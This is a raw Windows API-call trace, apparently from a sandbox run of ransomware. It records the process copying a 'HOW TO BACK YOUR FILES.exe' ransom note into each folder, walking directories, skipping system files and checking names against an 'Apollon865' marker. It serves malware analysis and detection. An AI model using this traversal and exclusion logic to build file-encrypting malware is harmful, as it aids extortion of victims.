	[0039.581] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0039.581] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions"
	[0039.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0039.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0039.581] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned 46
	[0039.581] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions"
	[0039.581] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.581] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.586] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.586] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.586] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.586] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.586] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.587] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb479d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.587] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.587] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.587] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="Apollon865.txt.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2=".") returned 1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="..") returned 1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="windows") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="bootmgr") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="temp") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="pagefile.sys") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="boot") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="ids.txt") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="ntuser.dat") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="perflogs") returned -1
	[0039.587] lstrcmpiW (lpString1="1036", lpString2="MSBuild") returned -1
	[0039.587] lstrlenW (lpString="1036") returned 4
	[0039.587] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*") returned 48
	[0039.587] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="1036" | out: lpString1="1036") returned="1036"
	[0039.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0039.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599a78
	[0039.587] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0039.587] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="Apollon865.txt.exe") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2=".") returned 1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="..") returned 1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="windows") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="bootmgr") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="temp") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="pagefile.sys") returned -1
	[0039.587] lstrcmpiW (lpString1="3082", lpString2="boot") returned -1
	[0039.588] lstrcmpiW (lpString1="3082", lpString2="ids.txt") returned -1
	[0039.588] lstrcmpiW (lpString1="3082", lpString2="ntuser.dat") returned -1
	[0039.588] lstrcmpiW (lpString1="3082", lpString2="perflogs") returned -1
	[0039.588] lstrcmpiW (lpString1="3082", lpString2="MSBuild") returned -1
	[0039.588] lstrlenW (lpString="3082") returned 4
	[0039.588] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned 51
	[0039.588] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="3082" | out: lpString1="3082") returned="3082"
	[0039.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0039.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599bd8
	[0039.588] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0039.588] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.588] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.588] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb479d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb479d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0039.588] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.588] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0039.588] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0039.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0039.588] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned 51
	[0039.588] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082"
	[0039.588] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.588] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.600] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.601] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.601] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.601] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.601] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.601] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb6db30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.602] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.602] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.602] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.602] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.602] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0039.602] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0039.602] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.602] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 53
	[0039.602] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0039.602] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.603] lstrlenW (lpString="Apollon865") returned 10
	[0039.603] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.603] lstrlenW (lpString=".dll") returned 4
	[0039.603] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.603] lstrlenW (lpString=".lnk") returned 4
	[0039.603] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.603] lstrlenW (lpString=".ini") returned 4
	[0039.603] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.603] lstrlenW (lpString=".sys") returned 4
	[0039.603] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.603] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0039.603] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0039.603] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0039.603] lstrlenW (lpString="Apollon865") returned 10
	[0039.603] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.603] lstrlenW (lpString=".dll") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.603] lstrlenW (lpString=".lnk") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.603] lstrlenW (lpString=".ini") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.603] lstrlenW (lpString=".sys") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.603] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0039.603] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0039.603] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0039.603] lstrlenW (lpString="Apollon865") returned 10
	[0039.603] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.603] lstrlenW (lpString=".dll") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0039.603] lstrlenW (lpString=".lnk") returned 4
	[0039.603] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.603] lstrlenW (lpString=".ini") returned 4
	[0039.604] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0039.604] lstrlenW (lpString=".sys") returned 4
	[0039.604] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0039.604] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0039.604] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0039.604] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0039.604] lstrlenW (lpString="Apollon865") returned 10
	[0039.604] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.604] lstrlenW (lpString=".dll") returned 4
	[0039.604] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.604] lstrlenW (lpString=".lnk") returned 4
	[0039.604] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.604] lstrlenW (lpString=".ini") returned 4
	[0039.604] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.604] lstrlenW (lpString=".sys") returned 4
	[0039.604] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.604] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0039.604] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0039.604] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0039.604] lstrlenW (lpString="Apollon865") returned 10
	[0039.604] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.604] lstrlenW (lpString=".dll") returned 4
	[0039.604] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0039.604] lstrlenW (lpString=".lnk") returned 4
	[0039.604] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.604] lstrlenW (lpString=".ini") returned 4
	[0039.604] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0039.604] lstrlenW (lpString=".sys") returned 4
	[0039.604] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0039.604] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0039.604] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0039.604] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0039.604] lstrlenW (lpString="Apollon865") returned 10
	[0039.605] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.605] lstrlenW (lpString=".dll") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.605] lstrlenW (lpString=".lnk") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.605] lstrlenW (lpString=".ini") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.605] lstrlenW (lpString=".sys") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.605] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0039.605] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0039.605] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0039.605] lstrlenW (lpString="Apollon865") returned 10
	[0039.605] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.605] lstrlenW (lpString=".dll") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.605] lstrlenW (lpString=".lnk") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.605] lstrlenW (lpString=".ini") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.605] lstrlenW (lpString=".sys") returned 4
	[0039.605] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.605] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0039.605] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0039.605] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0039.605] lstrlenW (lpString="Apollon865") returned 10
	[0039.605] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.605] lstrlenW (lpString=".dll") returned 4
	[0039.605] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.605] lstrlenW (lpString=".lnk") returned 4
	[0039.605] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.605] lstrlenW (lpString=".ini") returned 4
	[0039.605] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.605] lstrlenW (lpString=".sys") returned 4
	[0039.606] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.606] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0039.606] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0039.606] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0039.606] lstrlenW (lpString="Apollon865") returned 10
	[0039.606] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.606] lstrlenW (lpString=".dll") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.606] lstrlenW (lpString=".lnk") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.606] lstrlenW (lpString=".ini") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.606] lstrlenW (lpString=".sys") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.606] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0039.606] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0039.606] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0039.606] lstrlenW (lpString="Apollon865") returned 10
	[0039.606] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.606] lstrlenW (lpString=".dll") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0039.606] lstrlenW (lpString=".lnk") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.606] lstrlenW (lpString=".ini") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0039.606] lstrlenW (lpString=".sys") returned 4
	[0039.606] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0039.606] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0039.606] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0039.606] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0039.606] lstrlenW (lpString="Apollon865") returned 10
	[0039.606] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0039.606] lstrlenW (lpString=".dll") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0039.607] lstrlenW (lpString=".lnk") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0039.607] lstrlenW (lpString=".ini") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0039.607] lstrlenW (lpString=".sys") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0039.607] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0039.607] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0039.607] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0039.607] lstrlenW (lpString="Apollon865") returned 10
	[0039.607] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0039.607] lstrlenW (lpString=".dll") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0039.607] lstrlenW (lpString=".lnk") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0039.607] lstrlenW (lpString=".ini") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0039.607] lstrlenW (lpString=".sys") returned 4
	[0039.607] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0039.607] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
